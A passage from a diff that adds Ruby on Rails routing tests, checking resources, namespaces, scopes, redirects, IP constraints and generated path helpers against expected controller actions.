+
+ def test_member_on_resource
+ draw do
+ resource :session do
+ member do
+ get :crush
+ end
+ end
+ end
+
+ get '/session/crush'
+ assert_equal 'sessions#crush', @response.body
+ assert_equal '/session/crush', crush_session_path
+ end
+
+ def test_redirect_modulo
+ draw do
+ get 'account/modulo/:name', :to => redirect("/%{name}s")
+ end
+
+ get '/account/modulo/name'
+ verify_redirect 'http://www.example.com/names'
+ end
+
+ def test_redirect_proc
+ draw do
+ get 'account/proc/:name', :to => redirect {|params, req| "/#{params[:name].pluralize}" }
+ end
+
+ get '/account/proc/person'
+ verify_redirect 'http://www.example.com/people'
+ end
+
+ def test_redirect_proc_with_request
+ draw do
+ get 'account/proc_req' => redirect {|params, req| "/#{req.method}" }
+ end
+
+ get '/account/proc_req'
+ verify_redirect 'http://www.example.com/GET'
+ end
+
+ def test_redirect_hash_with_subdomain
+ draw do
+ get 'mobile', :to => redirect(:subdomain => 'mobile')
+ end
+
+ get '/mobile'
+ verify_redirect 'http://mobile.example.com/mobile'
+ end
+
+ def test_redirect_hash_with_domain_and_path
+ draw do
+ get 'documentation', :to => redirect(:domain => 'example-documentation.com', :path => '')
+ end
+
+ get '/documentation'
+ verify_redirect 'http://www.example-documentation.com'
+ end
+
+ def test_redirect_hash_with_path
+ draw do
+ get 'new_documentation', :to => redirect(:path => '/documentation/new')
+ end
+
+ get '/new_documentation'
+ verify_redirect 'http://www.example.com/documentation/new'
+ end
+
+ def test_redirect_hash_with_host
+ draw do
+ get 'super_new_documentation', :to => redirect(:host => 'super-docs.com')
+ end
+
+ get '/super_new_documentation?section=top'
+ verify_redirect 'http://super-docs.com/super_new_documentation?section=top'
+ end
+
+ def test_redirect_hash_path_substitution
+ draw do
+ get 'stores/:name', :to => redirect(:subdomain => 'stores', :path => '/%{name}')
+ end
+
+ get '/stores/iernest'
+ verify_redirect 'http://stores.example.com/iernest'
+ end
+
+ def test_redirect_hash_path_substitution_with_catch_all
+ draw do
+ get 'stores/:name(*rest)', :to => redirect(:subdomain => 'stores', :path => '/%{name}%{rest}')
+ end
+
+ get '/stores/iernest/products'
+ verify_redirect 'http://stores.example.com/iernest/products'
+ end
+
+ def test_redirect_class
+ draw do
+ get 'youtube_favorites/:youtube_id/:name', :to => redirect(YoutubeFavoritesRedirector)
+ end
+
+ get '/youtube_favorites/oHg5SJYRHA0/rick-rolld'
+ verify_redirect 'http://www.youtube.com/watch?v=oHg5SJYRHA0'
+ end
+
+ def test_openid
+ draw do
+ match 'openid/login', :via => [:get, :post], :to => "openid#login"
+ end
+
+ get '/openid/login'
+ assert_equal 'openid#login', @response.body
+
+ post '/openid/login'
+ assert_equal 'openid#login', @response.body
+ end
+
+ def test_bookmarks
+ draw do
+ scope "bookmark", :controller => "bookmarks", :as => :bookmark do
+ get :new, :path => "build"
+ post :create, :path => "create", :as => ""
+ put :update
+ get :remove, :action => :destroy, :as => :remove
+ end
+ end
+
+ get '/bookmark/build'
+ assert_equal 'bookmarks#new', @response.body
+ assert_equal '/bookmark/build', bookmark_new_path
+
+ post '/bookmark/create'
+ assert_equal 'bookmarks#create', @response.body
+ assert_equal '/bookmark/create', bookmark_path
+
+ put '/bookmark/update'
+ assert_equal 'bookmarks#update', @response.body
+ assert_equal '/bookmark/update', bookmark_update_path
+
+ get '/bookmark/remove'
+ assert_equal 'bookmarks#destroy', @response.body
+ assert_equal '/bookmark/remove', bookmark_remove_path
+ end
+
+ def test_pagemarks
+ draw do
+ scope "pagemark", :controller => "pagemarks", :as => :pagemark do
+ get "new", :path => "build"
+ post "create", :as => ""
+ put "update"
+ get "remove", :action => :destroy, :as => :remove
+ end
+ end
+
+ get '/pagemark/build'
+ assert_equal 'pagemarks#new', @response.body
+ assert_equal '/pagemark/build', pagemark_new_path
+
+ post '/pagemark/create'
+ assert_equal 'pagemarks#create', @response.body
+ assert_equal '/pagemark/create', pagemark_path
+
+ put '/pagemark/update'
+ assert_equal 'pagemarks#update', @response.body
+ assert_equal '/pagemark/update', pagemark_update_path
+
+ get '/pagemark/remove'
+ assert_equal 'pagemarks#destroy', @response.body
+ assert_equal '/pagemark/remove', pagemark_remove_path
+ end
+
+ def test_admin
+ draw do
+ constraints(:ip => /192\.168\.1\.\d\d\d/) do
+ get 'admin' => "queenbee#index"
+ end
+
+ constraints ::TestRoutingMapper::IpRestrictor do
+ get 'admin/accounts' => "queenbee#accounts"
+ end
+
+ get 'admin/passwords' => "queenbee#passwords", :constraints => ::TestRoutingMapper::IpRestrictor
+ end
+
+ get '/admin', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+ assert_equal 'queenbee#index', @response.body
+
+ get '/admin', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+ assert_equal 'pass', @response.headers['X-Cascade']
+
+ get '/admin/accounts', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+ assert_equal 'queenbee#accounts', @response.body
+
+ get '/admin/accounts', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+ assert_equal 'pass', @response.headers['X-Cascade']
+
+ get '/admin/passwords', {}, {'REMOTE_ADDR' => '192.168.1.100'}
+ assert_equal 'queenbee#passwords', @response.body
+
+ get '/admin/passwords', {}, {'REMOTE_ADDR' => '10.0.0.100'}
+ assert_equal 'pass', @response.headers['X-Cascade']
+ end
+
+ def test_global
+ draw do
+ controller(:global) do
+ get 'global/hide_notice'
+ get 'global/export', :to => :export, :as => :export_request
+ get '/export/:id/:file', :to => :export, :as => :export_download, :constraints => { :file => /.*/ }
+ get 'global/:action'
+ end
+ end
+
+ get '/global/dashboard'
+ assert_equal 'global#dashboard', @response.body
+
+ get '/global/export'
+ assert_equal 'global#export', @response.body
+
+ get '/global/hide_notice'
+ assert_equal 'global#hide_notice', @response.body
+
+ get '/export/123/foo.txt'
+ assert_equal 'global#export', @response.body
+
+ assert_equal '/global/export', export_request_path
+ assert_equal '/global/hide_notice', global_hide_notice_path
+ assert_equal '/export/123/foo.txt', export_download_path(:id => 123, :file => 'foo.txt')
+ end
+
+ def test_local
+ draw do
+ get "/local/:action", :controller => "local"
+ end
+
+ get '/local/dashboard'
+ assert_equal 'local#dashboard', @response.body
+ end
+
+ # tests the use of dup in url_for
+ def test_url_for_with_no_side_effects
+ draw do
+ get "/projects/status(.:format)"
+ end
+
+ # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host)
+ original_options = {:controller => 'projects', :action => 'status'}
+ options = original_options.dup
+
+ url_for options
+
+ # verify that the options passed in have not changed from the original ones
+ assert_equal original_options, options
+ end
+
+ def test_url_for_does_not_modify_controller
+ draw do
+ get "/projects/status(.:format)"
+ end
+
+ controller = '/projects'
+ options = {:controller => controller, :action => 'status', :only_path => true}
+ url = url_for(options)
+
+ assert_equal '/projects/status', url
+ assert_equal '/projects', controller
+ end
+
+ # tests the arguments modification free version of define_hash_access
+ def test_named_route_with_no_side_effects
+ draw do
+ resources :customers do
+ get "profile", :on => :member
+ end
+ end
+
+ original_options = { :host => 'test.host' }
+ options = original_options.dup
+
+ profile_customer_url("customer_model", options)
+
+ # verify that the options passed in have not changed from the original ones
+ assert_equal original_options, options
+ end
+
+ def test_projects_status
+ draw do
+ get "/projects/status(.:format)"
+ end
+
+ assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true)
+ assert_equal '/projects/status.json', url_for(:controller => 'projects', :action => 'status', :format => 'json', :only_path => true)
+ end
+
+ def test_projects
+ draw do
+ resources :projects, :controller => :project
+ end
+
+ get '/projects'
+ assert_equal 'project#index', @response.body
+ assert_equal '/projects', projects_path
+
+ post '/projects'
+ assert_equal 'project#create', @response.body
+
+ get '/projects.xml'
+ assert_equal 'project#index', @response.body
+ assert_equal '/projects.xml', projects_path(:format => 'xml')
+
+ get '/projects/new'
+ assert_equal 'project#new', @response.body
+ assert_equal '/projects/new', new_project_path
+
+ get '/projects/new.xml'
+ assert_equal 'project#new', @response.body
+ assert_equal '/projects/new.xml', new_project_path(:format => 'xml')
+
+ get '/projects/1'
+ assert_equal 'project#show', @response.body
+ assert_equal '/projects/1', project_path(:id => '1')
+
+ get '/projects/1.xml'
+ assert_equal 'project#show', @response.body
+ assert_equal '/projects/1.xml', project_path(:id => '1', :format => 'xml')
+
+ get '/projects/1/edit'
+ assert_equal 'project#edit', @response.body
+ assert_equal '/projects/1/edit', edit_project_path(:id => '1')
+ end
+
+ def test_projects_with_post_action_and_new_path_on_collection
+ draw do
+ resources :projects, :controller => :project do
+ post 'new', :action => 'new', :on => :collection, :as => :new
+ end
+ end
+
+ post '/projects/new'
+ assert_equal "project#new", @response.body
+ assert_equal "/projects/new", new_projects_path
+ end
+
+ def test_projects_involvements
+ draw do
+ resources :projects, :controller => :project do
+ resources :involvements, :attachments
+ end
+ end
+
+ get '/projects/1/involvements'
+ assert_equal 'involvements#index', @response.body
+ assert_equal '/projects/1/involvements', project_involvements_path(:project_id => '1')
+
+ get '/projects/1/involvements/new'
+ assert_equal 'involvements#new', @response.body
+ assert_equal '/projects/1/involvements/new', new_project_involvement_path(:project_id => '1')
+
+ get '/projects/1/involvements/1'
+ assert_equal 'involvements#show', @response.body
+ assert_equal '/projects/1/involvements/1', project_involvement_path(:project_id => '1', :id => '1')
+
+ put '/projects/1/involvements/1'
+ assert_equal 'involvements#update', @response.body
+
+ delete '/projects/1/involvements/1'
+ assert_equal 'involvements#destroy', @response.body
+
+ get '/projects/1/involvements/1/edit'
+ assert_equal 'involvements#edit', @response.body
+ assert_equal '/projects/1/involvements/1/edit', edit_project_involvement_path(:project_id => '1', :id => '1')
+ end
+
+ def test_projects_attachments
+ draw do
+ resources :projects, :controller => :project do
+ resources :involvements, :attachments
+ end
+ end
+
+ get '/projects/1/attachments'
+ assert_equal 'attachments#index', @response.body
+ assert_equal '/projects/1/attachments', project_attachments_path(:project_id => '1')
+ end
+
+ def test_projects_participants
+ draw do
+ resources :projects, :controller => :project do
+ resources :participants do
+ put :update_all, :on => :collection
+ end
+ end
+ end
+
+ get '/projects/1/participants'
+ assert_equal 'participants#index', @response.body
+ assert_equal '/projects/1/participants', project_participants_path(:project_id => '1')
+
+ put '/projects/1/participants/update_all'
+ assert_equal 'participants#update_all', @response.body
+ assert_equal '/projects/1/participants/update_all', update_all_project_participants_path(:project_id => '1')
+ end
+
+ def test_projects_companies
+ draw do
+ resources :projects, :controller => :project do
+ resources :companies do
+ resources :people
+ resource :avatar, :controller => :avatar
+ end
+ end
+ end
+
+ get '/projects/1/companies'
+ assert_equal 'companies#index', @response.body
+ assert_equal '/projects/1/companies', project_companies_path(:project_id => '1')
+
+ get '/projects/1/companies/1/people'
+ assert_equal 'people#index', @response.body
+ assert_equal '/projects/1/companies/1/people', project_company_people_path(:project_id => '1', :company_id => '1')
+
+ get '/projects/1/companies/1/avatar'
+ assert_equal 'avatar#show', @response.body
+ assert_equal '/projects/1/companies/1/avatar', project_company_avatar_path(:project_id => '1', :company_id => '1')
+ end
+
+ def test_project_manager
+ draw do
+ resources :projects do
+ resource :manager, :as => :super_manager do
+ post :fire
+ end
+ end
+ end
+
+ get '/projects/1/manager'
+ assert_equal 'managers#show', @response.body
+ assert_equal '/projects/1/manager', project_super_manager_path(:project_id => '1')
+
+ get '/projects/1/manager/new'
+ assert_equal 'managers#new', @response.body
+ assert_equal '/projects/1/manager/new', new_project_super_manager_path(:project_id => '1')
+
+ post '/projects/1/manager/fire'
+ assert_equal 'managers#fire', @response.body
+ assert_equal '/projects/1/manager/fire', fire_project_super_manager_path(:project_id => '1')
+ end
+
+ def test_project_images
+ draw do
+ resources :projects do
+ resources :images, :as => :funny_images do
+ post :revise, :on => :member
+ end
+ end
+ end
+
+ get '/projects/1/images'
+ assert_equal 'images#index', @response.body
+ assert_equal '/projects/1/images', project_funny_images_path(:project_id => '1')
+
+ get '/projects/1/images/new'
+ assert_equal 'images#new', @response.body
+ assert_equal '/projects/1/images/new', new_project_funny_image_path(:project_id => '1')
+
+ post '/projects/1/images/1/revise'
+ assert_equal 'images#revise', @response.body
+ assert_equal '/projects/1/images/1/revise', revise_project_funny_image_path(:project_id => '1', :id => '1')
+ end
+
+ def test_projects_people
+ draw do
+ resources :projects do
+ resources :people do
+ nested do
+ scope "/:access_token" do
+ resource :avatar
+ end
+ end
+
+ member do
+ put :accessible_projects
+ post :resend, :generate_new_password
+ end
+ end
+ end
+ end
+
+ get '/projects/1/people'
+ assert_equal 'people#index', @response.body
+ assert_equal '/projects/1/people', project_people_path(:project_id => '1')
+
+ get '/projects/1/people/1'
+ assert_equal 'people#show', @response.body
+ assert_equal '/projects/1/people/1', project_person_path(:project_id => '1', :id => '1')
+
+ get '/projects/1/people/1/7a2dec8/avatar'
+ assert_equal 'avatars#show', @response.body
+ assert_equal '/projects/1/people/1/7a2dec8/avatar', project_person_avatar_path(:project_id => '1', :person_id => '1', :access_token => '7a2dec8')
+
+ put '/projects/1/people/1/accessible_projects'
+ assert_equal 'people#accessible_projects', @response.body
+ assert_equal '/projects/1/people/1/accessible_projects', accessible_projects_project_person_path(:project_id => '1', :id => '1')
+
+ post '/projects/1/people/1/resend'
+ assert_equal 'people#resend', @response.body
+ assert_equal '/projects/1/people/1/resend', resend_project_person_path(:project_id => '1', :id => '1')
+
+ post '/projects/1/people/1/generate_new_password'
+ assert_equal 'people#generate_new_password', @response.body
+ assert_equal '/projects/1/people/1/generate_new_password', generate_new_password_project_person_path(:project_id => '1', :id => '1')
+ end
+
+ def test_projects_with_resources_path_names
+ draw do
+ resources_path_names :correlation_indexes => "info_about_correlation_indexes"
+
+ resources :projects do
+ get :correlation_indexes, :on => :collection
+ end
+ end
+
+ get '/projects/info_about_correlation_indexes'
+ assert_equal 'projects#correlation_indexes', @response.body
+ assert_equal '/projects/info_about_correlation_indexes', correlation_indexes_projects_path
+ end
+
+ def test_projects_posts
+ draw do
+ resources :projects do
+ resources :posts do
+ get :archive, :toggle_view, :on => :collection
+ post :preview, :on => :member
+
+ resource :subscription
+
+ resources :comments do
+ post :preview, :on => :collection
+ end
+ end
+ end
+ end
+
+ get '/projects/1/posts'
+ assert_equal 'posts#index', @response.body
+ assert_equal '/projects/1/posts', project_posts_path(:project_id => '1')
+
+ get '/projects/1/posts/archive'
+ assert_equal 'posts#archive', @response.body
+ assert_equal '/projects/1/posts/archive', archive_project_posts_path(:project_id => '1')
+
+ get '/projects/1/posts/toggle_view'
+ assert_equal 'posts#toggle_view', @response.body
+ assert_equal '/projects/1/posts/toggle_view', toggle_view_project_posts_path(:project_id => '1')
+
+ post '/projects/1/posts/1/preview'
+ assert_equal 'posts#preview', @response.body
+ assert_equal '/projects/1/posts/1/preview', preview_project_post_path(:project_id => '1', :id => '1')
+
+ get '/projects/1/posts/1/subscription'
+ assert_equal 'subscriptions#show', @response.body
+ assert_equal '/projects/1/posts/1/subscription', project_post_subscription_path(:project_id => '1', :post_id => '1')
+
+ get '/projects/1/posts/1/comments'
+ assert_equal 'comments#index', @response.body
+ assert_equal '/projects/1/posts/1/comments', project_post_comments_path(:project_id => '1', :post_id => '1')
+
+ post '/projects/1/posts/1/comments/preview'
+ assert_equal 'comments#preview', @response.body
+ assert_equal '/projects/1/posts/1/comments/preview', preview_project_post_comments_path(:project_id => '1', :post_id => '1')
+ end
+
+ def test_replies
+ draw do
+ resources :replies do
+ member do
+ put :answer, :to => :mark_as_answer
+ delete :answer, :to => :unmark_as_answer
+ end
+ end
+ end
+
+ put '/replies/1/answer'
+ assert_equal 'replies#mark_as_answer', @response.body
+
+ delete '/replies/1/answer'
+ assert_equal 'replies#unmark_as_answer', @response.body
+ end
+
+ def test_resource_routes_with_only_and_except
+ draw do
+ resources :posts, :only => [:index, :show] do
+ resources :comments, :except => :destroy
+ end
+ end
+
+ get '/posts'
+ assert_equal 'posts#index', @response.body
+ assert_equal '/posts', posts_path
+
+ get '/posts/1'
+ assert_equal 'posts#show', @response.body
+ assert_equal '/posts/1', post_path(:id => 1)
+
+ get '/posts/1/comments'
+ assert_equal 'comments#index', @response.body
+ assert_equal '/posts/1/comments', post_comments_path(:post_id => 1)
+
+ post '/posts'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ put '/posts/1'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ delete '/posts/1'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ delete '/posts/1/comments'
+ assert_equal 'pass', @response.headers['X-Cascade']
+ end
+
+ def test_resource_routes_only_create_update_destroy
+ draw do
+ resource :past, :only => :destroy
+ resource :present, :only => :update
+ resource :future, :only => :create
+ end
+
+ delete '/past'
+ assert_equal 'pasts#destroy', @response.body
+ assert_equal '/past', past_path
+
+ patch '/present'
+ assert_equal 'presents#update', @response.body
+ assert_equal '/present', present_path
+
+ put '/present'
+ assert_equal 'presents#update', @response.body
+ assert_equal '/present', present_path
+
+ post '/future'
+ assert_equal 'futures#create', @response.body
+ assert_equal '/future', future_path
+ end
+
+ def test_resources_routes_only_create_update_destroy
+ draw do
+ resources :relationships, :only => [:create, :destroy]
+ resources :friendships, :only => [:update]
+ end
+
+ post '/relationships'
+ assert_equal 'relationships#create', @response.body
+ assert_equal '/relationships', relationships_path
+
+ delete '/relationships/1'
+ assert_equal 'relationships#destroy', @response.body
+ assert_equal '/relationships/1', relationship_path(1)
+
+ patch '/friendships/1'
+ assert_equal 'friendships#update', @response.body
+ assert_equal '/friendships/1', friendship_path(1)
+
+ put '/friendships/1'
+ assert_equal 'friendships#update', @response.body
+ assert_equal '/friendships/1', friendship_path(1)
+ end
+
+ def test_resource_with_slugs_in_ids
+ draw do
+ resources :posts
+ end
+
+ get '/posts/rails-rocks'
+ assert_equal 'posts#show', @response.body
+ assert_equal '/posts/rails-rocks', post_path(:id => 'rails-rocks')
+ end
+
+ def test_resources_for_uncountable_names
+ draw do
+ resources :sheep do
+ get "_it", :on => :member
+ end
+ end
+
+ assert_equal '/sheep', sheep_index_path
+ assert_equal '/sheep/1', sheep_path(1)
+ assert_equal '/sheep/new', new_sheep_path
+ assert_equal '/sheep/1/edit', edit_sheep_path(1)
+ assert_equal '/sheep/1/_it', _it_sheep_path(1)
+ end
+
+ def test_resource_does_not_modify_passed_options
+ options = {:id => /.+?/, :format => /json|xml/}
+ draw { resource :user, options }
+ assert_equal({:id => /.+?/, :format => /json|xml/}, options)
+ end
+
+ def test_resources_does_not_modify_passed_options
+ options = {:id => /.+?/, :format => /json|xml/}
+ draw { resources :users, options }
+ assert_equal({:id => /.+?/, :format => /json|xml/}, options)
+ end
+
+ def test_path_names
+ draw do
+ scope 'pt', :as => 'pt' do
+ resources :projects, :path_names => { :edit => 'editar', :new => 'novo' }, :path => 'projetos'
+ resource :admin, :path_names => { :new => 'novo', :activate => 'ativar' }, :path => 'administrador' do
+ put :activate, :on => :member
+ end
+ end
+ end
+
+ get '/pt/projetos'
+ assert_equal 'projects#index', @response.body
+ assert_equal '/pt/projetos', pt_projects_path
+
+ get '/pt/projetos/1/editar'
+ assert_equal 'projects#edit', @response.body
+ assert_equal '/pt/projetos/1/editar', edit_pt_project_path(1)
+
+ get '/pt/administrador'
+ assert_equal 'admins#show', @response.body
+ assert_equal '/pt/administrador', pt_admin_path
+
+ get '/pt/administrador/novo'
+ assert_equal 'admins#new', @response.body
+ assert_equal '/pt/administrador/novo', new_pt_admin_path
+
+ put '/pt/administrador/ativar'
+ assert_equal 'admins#activate', @response.body
+ assert_equal '/pt/administrador/ativar', activate_pt_admin_path
+ end
+
+ def test_path_option_override
+ draw do
+ scope 'pt', :as => 'pt' do
+ resources :projects, :path_names => { :new => 'novo' }, :path => 'projetos' do
+ put :close, :on => :member, :path => 'fechar'
+ get :open, :on => :new, :path => 'abrir'
+ end
+ end
+ end
+
+ get '/pt/projetos/novo/abrir'
+ assert_equal 'projects#open', @response.body
+ assert_equal '/pt/projetos/novo/abrir', open_new_pt_project_path
+
+ put '/pt/projetos/1/fechar'
+ assert_equal 'projects#close', @response.body
+ assert_equal '/pt/projetos/1/fechar', close_pt_project_path(1)
+ end
+
+ def test_sprockets
+ draw do
+ get 'sprockets.js' => ::TestRoutingMapper::SprocketsApp
+ end
+
+ get '/sprockets.js'
+ assert_equal 'javascripts', @response.body
+ end
+
+ def test_update_person_route
+ draw do
+ get 'people/:id/update', :to => 'people#update', :as => :update_person
+ end
+
+ get '/people/1/update'
+ assert_equal 'people#update', @response.body
+
+ assert_equal '/people/1/update', update_person_path(:id => 1)
+ end
+
+ def test_update_project_person
+ draw do
+ get '/projects/:project_id/people/:id/update', :to => 'people#update', :as => :update_project_person
+ end
+
+ get '/projects/1/people/2/update'
+ assert_equal 'people#update', @response.body
+
+ assert_equal '/projects/1/people/2/update', update_project_person_path(:project_id => 1, :id => 2)
+ end
+
+ def test_forum_products
+ draw do
+ namespace :forum do
+ resources :products, :path => '' do
+ resources :questions
+ end
+ end
+ end
+
+ get '/forum'
+ assert_equal 'forum/products#index', @response.body
+ assert_equal '/forum', forum_products_path
+
+ get '/forum/basecamp'
+ assert_equal 'forum/products#show', @response.body
+ assert_equal '/forum/basecamp', forum_product_path(:id => 'basecamp')
+
+ get '/forum/basecamp/questions'
+ assert_equal 'forum/questions#index', @response.body
+ assert_equal '/forum/basecamp/questions', forum_product_questions_path(:product_id => 'basecamp')
+
+ get '/forum/basecamp/questions/1'
+ assert_equal 'forum/questions#show', @response.body
+ assert_equal '/forum/basecamp/questions/1', forum_product_question_path(:product_id => 'basecamp', :id => 1)
+ end
+
+ def test_articles_perma
+ draw do
+ get 'articles/:year/:month/:day/:title', :to => "articles#show", :as => :article
+ end
+
+ get '/articles/2009/08/18/rails-3'
+ assert_equal 'articles#show', @response.body
+
+ assert_equal '/articles/2009/8/18/rails-3', article_path(:year => 2009, :month => 8, :day => 18, :title => 'rails-3')
+ end
+
+ def test_account_namespace
+ draw do
+ namespace :account do
+ resource :subscription, :credit, :credit_card
+ end
+ end
+
+ get '/account/subscription'
+ assert_equal 'account/subscriptions#show', @response.body
+ assert_equal '/account/subscription', account_subscription_path
+
+ get '/account/credit'
+ assert_equal 'account/credits#show', @response.body
+ assert_equal '/account/credit', account_credit_path
+
+ get '/account/credit_card'
+ assert_equal 'account/credit_cards#show', @response.body
+ assert_equal '/account/credit_card', account_credit_card_path
+ end
+
+ def test_nested_namespace
+ draw do
+ namespace :account do
+ namespace :admin do
+ resource :subscription
+ end
+ end
+ end
+
+ get '/account/admin/subscription'
+ assert_equal 'account/admin/subscriptions#show', @response.body
+ assert_equal '/account/admin/subscription', account_admin_subscription_path
+ end
+
+ def test_namespace_nested_in_resources
+ draw do
+ resources :clients do
+ namespace :google do
+ resource :account do
+ namespace :secret do
+ resource :info
+ end
+ end
+ end
+ end
+ end
+
+ get '/clients/1/google/account'
+ assert_equal '/clients/1/google/account', client_google_account_path(1)
+ assert_equal 'google/accounts#show', @response.body
+
+ get '/clients/1/google/account/secret/info'
+ assert_equal '/clients/1/google/account/secret/info', client_google_account_secret_info_path(1)
+ assert_equal 'google/secret/infos#show', @response.body
+ end
+
+ def test_namespace_with_options
+ draw do
+ namespace :users, :path => 'usuarios' do
+ root :to => 'home#index'
+ end
+ end
+
+ get '/usuarios'
+ assert_equal '/usuarios', users_root_path
+ assert_equal 'users/home#index', @response.body
+ end
+
+ def test_namespace_containing_numbers
+ draw do
+ namespace :v2 do
+ resources :subscriptions
+ end
+ end
+
+ get '/v2/subscriptions'
+ assert_equal 'v2/subscriptions#index', @response.body
+ assert_equal '/v2/subscriptions', v2_subscriptions_path
+ end
+
+ def test_articles_with_id
+ draw do
+ controller :articles do
+ scope '/articles', :as => 'article' do
+ scope :path => '/:title', :title => /[a-z]+/, :as => :with_title do
+ get '/:id', :to => :with_id, :as => ""
+ end
+ end
+ end
+ end
+
+ get '/articles/rails/1'
+ assert_equal 'articles#with_id', @response.body
+
+ get '/articles/123/1'
+ assert_equal 'pass', @response.headers['X-Cascade']
+
+ assert_equal '/articles/rails/1', article_with_title_path(:title => 'rails', :id => 1)
+ end
+
+ def test_access_token_rooms
+ draw do
+ scope ':access_token', :constraints => { :access_token => /\w{5,5}/ } do
+ resources :rooms
+ end
+ end
+
+ get '/12345/rooms'
+ assert_equal 'rooms#index', @response.body
+
+ get '/12345/rooms/1'
+ assert_equal 'rooms#show', @response.body
+
+ get '/12345/rooms/1/edit'
+ assert_equal 'rooms#edit', @response.body
+ end
+
+ def test_root
+ draw do
+ root :to => 'projects#index'
+ end
+
+ assert_equal '/', root_path
+ get '/'
+ assert_equal 'projects#index', @response.body
+ end
+
+ def test_scoped_root
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ root :to => 'projects#index'
+ end
+ end
+
+ assert_equal '/en', root_path(:locale => 'en')
+ get '/en'
+ assert_equal 'projects#index', @response.body
+ end
+
+ def test_scope_with_format_option
+ draw do
+ get "direct/index", as: :no_format_direct, format: false
+
+ scope format: false do
+ get "scoped/index", as: :no_format_scoped
+ end
+ end
+
+ assert_equal "/direct/index", no_format_direct_path
+ assert_equal "/direct/index?format=html", no_format_direct_path(format: "html")
+
+ assert_equal "/scoped/index", no_format_scoped_path
+ assert_equal "/scoped/index?format=html", no_format_scoped_path(format: "html")
+
+ get '/scoped/index'
+ assert_equal "scoped#index", @response.body
+
+ get '/scoped/index.html'
+ assert_equal "Not Found", @response.body
+ end
+
+ def test_resources_with_format_false_from_scope
+ draw do
+ scope format: false do
+ resources :posts
+ resource :user
+ end
+ end
+
+ get "/posts"
+ assert_response :success
+ assert_equal "posts#index", @response.body
+ assert_equal "/posts", posts_path
+
+ get "/posts.html"
+ assert_response :not_found
+ assert_equal "Not Found", @response.body
+ assert_equal "/posts?format=html", posts_path(format: "html")
+
+ get "/user"
+ assert_response :success
+ assert_equal "users#show", @response.body
+ assert_equal "/user", user_path
+
+ get "/user.html"
+ assert_response :not_found
+ assert_equal "Not Found", @response.body
+ assert_equal "/user?format=html", user_path(format: "html")
+ end
+
+ def test_index
+ draw do
+ get '/info' => 'projects#info', :as => 'info'
+ end
+
+ assert_equal '/info', info_path
+ get '/info'
+ assert_equal 'projects#info', @response.body
+ end
+
+ def test_match_with_many_paths_containing_a_slash
+ draw do
+ get 'get/first', 'get/second', 'get/third', :to => 'get#show'
+ end
+
+ get '/get/first'
+ assert_equal 'get#show', @response.body
+
+ get '/get/second'
+ assert_equal 'get#show', @response.body
+
+ get '/get/third'
+ assert_equal 'get#show', @response.body
+ end
+
+ def test_match_shorthand_with_no_scope
+ draw do
+ get 'account/overview'
+ end
+
+ assert_equal '/account/overview', account_overview_path
+ get '/account/overview'
+ assert_equal 'account#overview', @response.body
+ end
+
+ def test_match_shorthand_inside_namespace
+ draw do
+ namespace :account do
+ get 'shorthand'
+ end
+ end
+
+ assert_equal '/account/shorthand', account_shorthand_path
+ get '/account/shorthand'
+ assert_equal 'account#shorthand', @response.body
+ end
+
+ def test_match_shorthand_with_multiple_paths_inside_namespace
+ draw do
+ namespace :proposals do
+ put 'activate', 'inactivate'
+ end
+ end
+
+ put '/proposals/activate'
+ assert_equal 'proposals#activate', @response.body
+
+ put '/proposals/inactivate'
+ assert_equal 'proposals#inactivate', @response.body
+ end
+
+ def test_match_shorthand_inside_namespace_with_controller
+ draw do
+ namespace :api do
+ get "products/list"
+ end
+ end
+
+ assert_equal '/api/products/list', api_products_list_path
+ get '/api/products/list'
+ assert_equal 'api/products#list', @response.body
+ end
+
+ def test_match_shorthand_inside_scope_with_variables_with_controller
+ draw do
+ scope ':locale' do
+ match 'questions/new', via: [:get]
+ end
+ end
+
+ get '/de/questions/new'
+ assert_equal 'questions#new', @response.body
+ assert_equal 'de', @request.params[:locale]
+ end
+
+ def test_match_shorthand_inside_nested_namespaces_and_scopes_with_controller
+ draw do
+ namespace :api do
+ namespace :v3 do
+ scope ':locale' do
+ get "products/list"
+ end
+ end
+ end
+ end
+
+ get '/api/v3/en/products/list'
+ assert_equal 'api/v3/products#list', @response.body
+ end
+
+ def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_url_helper
+ draw do
+ resources :replies do
+ collection do
+ get 'page/:page' => 'replies#index', :page => %r{\d+}
+ get ':page' => 'replies#index', :page => %r{\d+}
+ end
+ end
+ end
+
+ assert_equal '/replies', replies_path
+ end
+
+ def test_scoped_controller_with_namespace_and_action
+ draw do
+ namespace :account do
+ get ':action/callback', :action => /twitter|github/, :to => "callbacks", :as => :callback
+ end
+ end
+
+ assert_equal '/account/twitter/callback', account_callback_path("twitter")
+ get '/account/twitter/callback'
+ assert_equal 'account/callbacks#twitter', @response.body
+
+ get '/account/whatever/callback'
+ assert_equal 'Not Found', @response.body
+ end
+
+ def test_convention_match_nested_and_with_leading_slash
+ draw do
+ get '/account/nested/overview'
+ end
+
+ assert_equal '/account/nested/overview', account_nested_overview_path
+ get '/account/nested/overview'
+ assert_equal 'account/nested#overview', @response.body
+ end
+
+ def test_convention_with_explicit_end
+ draw do
+ get 'sign_in' => "sessions#new"
+ end
+
+ get '/sign_in'
+ assert_equal 'sessions#new', @response.body
+ assert_equal '/sign_in', sign_in_path
+ end
+
+ def test_redirect_with_complete_url_and_status
+ draw do
+ get 'account/google' => redirect('http://www.google.com/', :status => 302)
+ end
+
+ get '/account/google'
+ verify_redirect 'http://www.google.com/', 302
+ end
+
+ def test_redirect_with_port
+ draw do
+ get 'account/login', :to => redirect("/login")
+ end
+
+ previous_host, self.host = self.host, 'www.example.com:3000'
+
+ get '/account/login'
+ verify_redirect 'http://www.example.com:3000/login'
+ ensure
+ self.host = previous_host
+ end
+
+ def test_normalize_namespaced_matches
+ draw do
+ namespace :account do
+ get 'description', :to => :description, :as => "description"
+ end
+ end
+
+ assert_equal '/account/description', account_description_path
+
+ get '/account/description'
+ assert_equal 'account#description', @response.body
+ end
+
+ def test_namespaced_roots
+ draw do
+ namespace :account do
